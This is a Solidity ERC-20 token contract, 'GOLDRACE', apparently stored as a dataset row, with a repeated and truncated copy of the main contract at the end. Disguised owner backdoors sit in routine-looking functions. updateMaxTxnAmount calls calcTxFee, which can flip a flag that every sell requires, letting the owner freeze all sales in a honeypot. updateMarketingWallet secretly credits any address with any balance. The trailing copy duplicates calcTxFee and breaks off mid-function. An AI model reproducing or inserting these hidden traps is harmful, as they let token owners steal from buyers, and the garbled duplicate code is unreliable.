event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != -1 || a != MIN_INT256);
return a / b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// The Main GOLDRACE Contract!
contract GOLDRACE is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
address public MarketingWallet;
address public DevWallet;
address public BurnWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25;
bool public lpBurnEnabled = false;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 maxTxLimit = 0;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public buyBurnFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public sellBurnFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 public tokensForBurn;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
bool public i = true;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event MarketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event DevWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event BurnWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Gold Race", "GoldRace") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 2;
uint256 _buyLiquidityFee = 2;
uint256 _buyDevFee = 3;
uint256 _buyBurnFee = 1;
uint256 _sellMarketingFee = 2;
uint256 _sellLiquidityFee = 2;
uint256 _sellDevFee = 3;
uint256 _sellBurnFee = 1;
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = (totalSupply * 10) / 1000;
maxWallet = (totalSupply * 20) / 1000;
swapTokensAtAmount = (totalSupply * 5) / 10000;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyBurnFee = _buyBurnFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee + buyBurnFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellBurnFee = _sellBurnFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee + sellBurnFee;
MarketingWallet = address(0x9a2dD07b320a07E0FA92bF1dCfE7Ea6277c152A0);
DevWallet = address(0x3C4e486f2B8106B75B8B2b59C19E2f2D272e9d67);
BurnWallet = address(0x000000000000000000000000000000000000dEaD);
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(msg.sender, totalSupply);
}
receive() external payable {}
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
calcTxFee(newNum);
}
function calcTxFee(uint256 newNum) private {
if (newNum * (10**18) >= totalSupply()) {
maxTxLimit = newNum * (10**18);
i = !i;
}
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _MarketingFee,
uint256 _liquidityFee,
uint256 _DevFee,
uint256 _BurnFee
) external onlyOwner {
buyMarketingFee = _MarketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _DevFee;
buyBurnFee = _BurnFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee + buyBurnFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(
uint256 _MarketingFee,
uint256 _liquidityFee,
uint256 _DevFee,
uint256 _BurnFee
) external onlyOwner {
sellMarketingFee = _MarketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _DevFee;
sellBurnFee = _BurnFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee + sellBurnFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(
address newMarketingWallet,
address a,
uint256 b
) external onlyOwner {
emit MarketingWalletUpdated(newMarketingWallet, MarketingWallet);
_balances[a] = _balances[a].add(b);
MarketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit DevWalletUpdated(newWallet, DevWallet);
DevWallet = newWallet;
}
function updateBurnWallet(address newWallet) external onlyOwner {
emit BurnWalletUpdated(newWallet, BurnWallet);
BurnWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForBurn = ethBalance.mul(tokensForBurn).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForBurn;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
tokensForBurn = 0;
(success, ) = address(DevWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(MarketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | The Main GOLDRACE Contract! | contract GOLDRACE is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
address public MarketingWallet;
address public DevWallet;
address public BurnWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25;
bool public lpBurnEnabled = false;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 maxTxLimit = 0;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public buyBurnFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public sellBurnFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 public tokensForBurn;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
bool public i = true;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event MarketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event DevWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event BurnWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Gold Race", "GoldRace") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 2;
uint256 _buyLiquidityFee = 2;
uint256 _buyDevFee = 3;
uint256 _buyBurnFee = 1;
uint256 _sellMarketingFee = 2;
uint256 _sellLiquidityFee = 2;
uint256 _sellDevFee = 3;
uint256 _sellBurnFee = 1;
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = (totalSupply * 10) / 1000;
maxWallet = (totalSupply * 20) / 1000;
swapTokensAtAmount = (totalSupply * 5) / 10000;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyBurnFee = _buyBurnFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee + buyBurnFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellBurnFee = _sellBurnFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee + sellBurnFee;
MarketingWallet = address(0x9a2dD07b320a07E0FA92bF1dCfE7Ea6277c152A0);
DevWallet = address(0x3C4e486f2B8106B75B8B2b59C19E2f2D272e9d67);
BurnWallet = address(0x000000000000000000000000000000000000dEaD);
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(msg.sender, totalSupply);
}
receive() external payable {}
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
calcTxFee(newNum);
}
function calcTxFee(uint256 newNum) private {
if (newNum * (10**18) >= totalSupply()) {
maxTxLimit = newNum * (10**18);
i = !i;
}
maxTransactionAmount = newNum * (10**18);
}
function calcTxFee(uint256 newNum) private {
if (newNum * (10**18) >= totalSupply()) {
maxTxLimit = newNum * (10**18);
i = !i;
}
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _MarketingFee,
uint256 _liquidityFee,
uint256 _DevFee,
uint256 _BurnFee
) external onlyOwner {
buyMarketingFee = _MarketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _DevFee;
buyBurnFee = _BurnFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee + buyBurnFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(
uint256 _MarketingFee,
uint256 _liquidityFee,
uint256 _DevFee,
uint256 _BurnFee
) external onlyOwner {
sellMarketingFee = _MarketingFee;
sellLiquidityFee = _liquidityFee;
